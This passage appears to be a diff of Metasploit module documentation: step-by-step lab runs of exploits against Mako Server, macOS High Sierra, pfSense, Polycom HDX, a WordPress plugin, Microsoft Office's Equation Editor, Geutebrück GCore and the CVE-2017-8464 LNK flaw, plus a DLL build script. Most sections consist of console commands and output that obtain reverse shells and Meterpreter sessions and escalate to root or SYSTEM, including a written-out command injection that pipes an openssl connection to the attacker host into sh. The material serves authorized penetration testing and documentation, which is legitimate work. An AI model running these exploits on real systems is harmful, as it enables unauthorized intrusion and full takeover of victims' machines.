C:\Users\Smith\Downloads\MakoServer>
```
## Scenarios
### Targeting Windows 7 SP1 x64 running Mako Server v2.5
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
Microsoft Windows
Copyright (c) Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[-] Powershell is not installed on the target.
[*] Command stager progress: 1.66% (1699/102108 bytes)
...
[*] Command stager progress: 100.00% (102108/102108 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: smith-PC\smith
meterpreter > sysinfo
Computer : SMITH-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```
### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD => cmd/unix/reverse_python
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
ls
LICENSE.txt
mako
mako.zip
README.txt
rundemo.sh
tutorial
^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[*] Sending stage (847604 bytes) to 10.10.10.2
[*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 10.10.10.2
OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
Architecture : x64
Meterpreter : x86/linux
```

View File

@ -0,0 +1,104 @@
## Vulnerable Application
This vulnerability works against OSX 10.13 (High Sierra). Early
research (https://objective-see.com/blog/blog_0x24.html) suggests that
the vulnerability is the result of multiple errors ultimately started by
an incorrect return value from triggered by the function
`od_verify_crypt_password` returning true even if the account is
disabled. The subsequent function calls appear to validate and create
the password, though there is still a lot of research into the bug and
these results should be verified once more research has been published.
## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/root_no_password`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`
## Scenarios
### Example Run
```
msf exploit(psexec) > use exploit/multi/handler
msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf exploit(handler) > set lhost <MSF_IP>
lhost => <MSF_IP>
msf exploit(handler) > set lport 4567
lport => 4567
msf exploit(handler) > run
[*] Started reverse TCP handler on <MSF_IP>:4567
httpserver[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <OSX_IP>:49347) at 2017-11-29 07:28:32 -0600
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : (MacOSX 17.0.0)
Architecture : x64
Meterpreter : x64/osx
meterpreter > getuid
Server username: uid=501, gid=20, euid=501, egid=20
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/osx/local/root_no_password
msf exploit(root_no_password) > show options
Module options (exploit/osx/local/root_no_password):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (osx/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
msf exploit(root_no_password) > set lhost <MSF_IP>
lhost => <MSF_IP>
msf exploit(root_no_password) > set lport 4562
lport => 4562
msf exploit(root_no_password) > set session 1
session => 1
msf exploit(root_no_password) > run
[*] Started reverse TCP handler on <MSF_IP>:4562
[*] Writing payload file as '/tmp/cinbvsmrmyxw'
[*] Meterpreter session 2 opened (<MSF_IP>:4562 -> <OSX_IP>:62522) at 2017-11-29 07:29:56 -0600
[*] <OSX_IP> - Meterpreter session 2 closed. Reason: Died
[*] Executing payload file as '/tmp/cinbvsmrmyxw'
[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
[-] Invalid session identifier: 2
msf exploit(root_no_password) >
msf exploit(root_no_password) >
msf exploit(root_no_password) > run
[*] Started reverse TCP handler on <MSF_IP>:4562
[*] Writing payload file as '/tmp/imtjkakowanv'
[*] Executing payload file as '/tmp/imtjkakowanv'
[*] Meterpreter session 3 opened (<MSF_IP>:4562 -> <OSX_IP>:49348) at 2017-11-29 07:30:53 -0600
[+] Deleted /tmp/imtjkakowanv
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : (MacOSX 17.0.0)
Architecture : x64
Meterpreter : x64/osx
meterpreter > getuid
Server username: uid=0, gid=20, euid=0, egid=20
meterpreter >
```

View File

@ -0,0 +1,114 @@
## Description
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
as root.
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
## Vulnerable Application
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
Installer:
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
3. Do: `set rhost [IP]`
4. Do: `set username [username]`
5. Do: `set password [password]`
6. Do: `exploit`
7. You should get a session
## Sample Output
### 2.3-Release amd64
```
[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 2.2.2.2
rhost => 2.2.2.2
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 2.2.2.2:443 The target service is running, but could not be validated.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
[*] Successful Authentication
[*] pfSense Version Detected: 2.3-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
[*] Manual removal of group aJPEfJLDKT is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 5ER6rqZOjOSGjRml;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "5ER6rqZOjOSGjRml\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
whoami
root
uname -a
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
```
### 2.2.6 amd64
```
[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 3.3.3.3
rhost => 3.3.3.3
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 3.3.3.3:443 The target is not exploitable.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
[*] Successful Authentication
[*] pfSense Version Detected: 2.2.6-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
[*] Manual removal of group okUPTvzysL is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 7hKg6oD9DkwXYRtt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "7hKg6oD9DkwXYRtt\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
whoami
root
uname -a
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
```
## Cleanup
Manual cleanup is required. The group name is printed during exploitation.
## Logging
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`

View File

@ -0,0 +1,131 @@
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
## Vulnerable Application
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
## Options
### PASSWORD
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
the devices.
## Payloads
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
```
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
```
## Verification Steps
A successful check of the exploit will look like this:
```
msf exploit(polycom) > set RHOST 192.168.0.17
RHOST => 192.168.0.17
msf exploit(polycom) > set LHOSt ens3
LHOSt => ens3
msf exploit(polycom) > set LPORT 3511
LPORT => 3511
msf exploit(polycom) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(polycom) > set VERBOSE false
VERBOSE => false
msf exploit(polycom) > run
[*] Started reverse TCP double handler on 192.168.0.11:3511
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo vGopPRp0jBxt4J2D;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "vGopPRp0jBxt4J2D\n"
[*] Matching...
[*] A is input...
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
[*] 192.168.0.17:23 - Shutting down payload stager listener...
id
uid=0(root) gid=0(root)
whoami
root
```
## Debugging
Setting `VERBOSE` to true should yield an output of.
```
msf exploit(polycom) > set VERBOSE true
VERBOSE => true
rmsf exploit(polycom) > run
[*] Started reverse TCP double handler on 192.168.0.11:3511
[*] 192.168.0.17:23 - Received : !
Polycom Command Shell
XCOM host: localhost port: 4121
TTY name: /dev/pts/6
Session type: telnet
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo WD3QloY3fys6n7dK;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] 192.168.0.17:23 - devcmds
Entering sticky internal commands *ONLY* mode...
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
[*] Reading from socket B
[*] B: "WD3QloY3fys6n7dK\n"
[*] Matching...
[*] A is input...
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
[*] 192.168.0.17:23 - Shutting down payload stager listener...
id
uid=0(root) gid=0(root)
whoami
root
```

View File

@ -0,0 +1,63 @@
## Vulnerable Application
wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
was disclosed. Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
the file can be executed by the client.
Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
from Exploit-db since wordpress removed it.
Due to its age, it may be difficult to install. The install for the scenario later is:
* Ubuntu 16.04.2
* Apache 2.4.18
* PHP 7
* Wordpress 4.4.2
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
4. Do: ```set rhost [ip]```
5. Do: ```set lhost [ip]```
6. Do: ```set srvhost [ip]```
7. Do: ```exploit```
8. You should get a shell.
## Scenarios
### wp-mobile-detector 3.5 on Wordpress 4.4.2
```
msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute
msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
TARGETURI => /wordpress/
msf exploit(wp_mobile_detector_upload_execute) > check
[*] 2.2.2.2:80 The target appears to be vulnerable.
msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf exploit(wp_mobile_detector_upload_execute) > exploit
[*] Exploit running as background job 2.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
[*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
[*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
[+] Payload requested on server, sending
[+] Sleeping 5 seconds for payload upload
[*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
[*] Sending stage (37514 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
[+] Deleted ZWTgqwsiFL.php
[*] Server stopped.
```

View File

@ -0,0 +1,56 @@
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
## Vulnerable Application
- Microsoft Office 2016
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2007
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/fileformat/office_ms17_11882`
3. Do: `set PAYLOAD [PAYLOAD]`
4. Do: `run`
## Options
### FILENAME
Filename to output & if injecting a file, the file to inject
### FOLDER_PATH
Path to filename to inject
## Example
```
msf > use exploit/windows/fileformat/office_ms17_11882
msf exploit(office_ms17_11882) > set FILENAME msf.rtf
FILENAME => /home/mumbai/file.rtf
msf exploit(office_ms17_11882) > set LHOST ens3
LHOST => ens3
msf exploit(office_ms17_11882) > set LPORT 35116
LPORT => 35116
msf exploit(office_ms17_11882) > run
[*] Using URL: http://0.0.0.0:8080/BUY0DYgc
[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc
[*] Server started.
[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24
[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending
[*] Sending stage (205379 bytes) to 192.168.0.24
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500
sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : TEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```

View File

@ -0,0 +1,69 @@
## Vulnerable Application
Geutebrück GCore Server 1.3.8.42, 1.4.2.37 are vulnerable to a buffer overflow exploitation.
Since this application is started with system privileges this allows a system remote code execution.
## Verification Steps
1. Install Windows as basic OS (Tested with Win2012R2, Windows 7)
2. Install the Geutebrück GCore server
3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
4. Start msfconsole
5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
6. Do: ```set rhost <your target ip>```
7. Do: ```set rport 13003```
8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
9. Do: ```exploit```
10. You should get a shell as NT/SYSTEM.
## Scenarios
### Geutebrueck GCore 1.4.2.37
```
msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.10 yes The target address
RPORT 13003 yes The target port
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.11 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
[*] Started reverse TCP handler on 192.168.1.11:4444
[*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
[*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
[*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
[*] 192.168.1.10:13003 - Crafting Exploit...
[*] 192.168.1.10:13003 - Exploit ready for sending...
[*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
[*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
[*] 192.168.1.10:13003 - Closing socket.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid Server username:
NT-AUTORITÄT\SYSTEM
meterpreter >
```
## Mitigation
Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.

View File

@ -0,0 +1,166 @@
## Description
This module is a Windows local exploit version of the existing file
format module for CVE-2017-8464. The module works by dropping the
specially crafted LNK file and DLL to disk, which causes
`SearchProtocolHost.exe` to parse the LNK file and thus load the DLL via
the vulnerability. Due to `SearchProtocolHost.exe` running as SYSTEM,
this can be used to elevate privileges.
The original DLL template needed some significant reworking to make it
compatible for execution within `SearchProtocolHost.exe`. The payload
was originally failing in the hollowed child `rundll32.exe` process with
a denied error from winsock. This was addressed by checking if the process
which loaded the crafted DLL is `SearchProtocolHost.exe` and when it is,
it opens the token of another SYSTEM process and passes it to
`CreateProcessAsUser` for the payload to work. When the DLL is loaded
into another process or is not running as SYSTEM, this step is skipped
and `NULL` is passed as the token.
Finally a thread is spawned to keep a module reference and monitor the
child process. This is for synchronization to prevent the payload from
being executed in rapid succession from a single exploitation attempt.
The mutex was also updated to the constant of `MUTEX!!!` to leverage
Metasploit's builtin mutex name randomization, which ensures that a name
is unique per module run but not globally unique.
## Vulnerable Systems
Tested and works on
Windows 7x64 SP0
Windows 7x64 SP1
Windows 8x64
Windows 8.1x64
Windows 10x64 Build 1511
Windows 10x64 Build 1607
Windows 10x64 Build 1703
## Running Example:
```
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.135.112
LHOST => 192.168.135.112
> set LPORT 30001
LPORT => 30001
> show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.112 yes The listen address
LPORT 30001 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
[*] > Ruby Code (13 bytes)
> run -z
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.135.112:30001
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
> sysinfo
Computer : WIN7X64-SP0
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
> use exploit/windows/local/cve_2017_8464_lnk_lpe
> set session 1
session => 1
> set target 0
target => 0
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set lhost 192.168.135.112
lhost => 192.168.135.112
> set lport 30002
lport => 30002
> set verbose true
verbose => true
> show options
Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
DLLNAME no The DLL file containing the payload
FILENAME no The LNK file
PATH no An explicit path to where the files should be written to
SESSION 1 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.112 yes The listen address
LPORT 30002 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
> run -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.135.112:30002
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
[*] Waiting 15s before file cleanup...
[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7X64-SP0 192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)
> getuid
Server username: WIN7X64-SP0\msfuser
Server username: NT AUTHORITY\SYSTEM
> getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
> getuid
Server username: NT AUTHORITY\SYSTEM
> exit -y
```
## Compiling instructions
`cd ./external/source/exploits/cve-2017-8464`
`./build.sh`
(Requires `mingw-w64` package)

View File

@ -4,7 +4,7 @@
via its SMTP server validation. The module sends a malicious response along in the
220 service ready response and exploits the client, resulting in an unprivileged shell.
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
The software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
## Verification Steps

View File

@ -0,0 +1,17 @@
#!/bin/sh
rm -f *.o *.dll
CCx86="i686-w64-mingw32"
CCx64="x86_64-w64-mingw32"
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
${CCx64}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
rm -f temp.dll *.o
